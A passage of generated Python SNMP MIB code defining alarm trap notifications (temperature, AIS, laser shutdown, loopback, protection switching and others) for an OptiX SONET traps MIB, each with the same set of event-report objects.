"rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSoftwareVersionMismatch.setStatus('current') almTemperatureHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33315)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTemperatureHigh.setStatus('current') almAIS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33316)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almAIS.setStatus('current') almLoopbackInhibited = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33330)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackInhibited.setStatus('current') almLockoutOfTheProtocol = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33331)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLockoutOfTheProtocol.setStatus('current') almLaserShutDown = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33332)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserShutDown.setStatus('current') almLoopbackAllDS1FEAC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33333)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackAllDS1FEAC.setStatus('current') almLoopbackCrossConnect = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33335)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackCrossConnect.setStatus('current') almLoopbackDS1FEAC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33336)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackDS1FEAC.setStatus('current') almLoopbackDS3FEAC = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33337)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackDS3FEAC.setStatus('current') almLoopbackFacilityPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33345)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackFacilityPath.setStatus('current') almLoopbackTerminalPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33347)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackTerminalPath.setStatus('current') almPrimaryChannelChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33348)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPrimaryChannelChange.setStatus('current') almRAI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33349)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRAI.setStatus('current') almSsmDQL = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33350)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSsmDQL.setStatus('current') almSsmLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33351)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSsmLOS.setStatus('current') almTestSessionActive = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33361)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTestSessionActive.setStatus('current') almNormalSyncMode = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33363)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almNormalSyncMode.setStatus('current') almSwitchProtectionToWorkingUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33364)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSwitchProtectionToWorkingUnit.setStatus('current') almSwtichWokingToProtectingUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33365)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSwtichWokingToProtectingUnit.setStatus('current') almATECardOfflineOrUninstalled = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33368)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almATECardOfflineOrUninstalled.setStatus('current') almPIUCardOfflineOrUninstalled = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33370)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPIUCardOfflineOrUninstalled.setStatus('current') almOOF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33372)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOOF.setStatus('current') almExerciseSwitchSuccess = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33373)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almExerciseSwitchSuccess.setStatus('current') almExerciseSwitchFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33374)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almExerciseSwitchFail.setStatus('current') almUpgradeInProcess = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33375)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almUpgradeInProcess.setStatus('current') almChassisMea = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 33377)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), 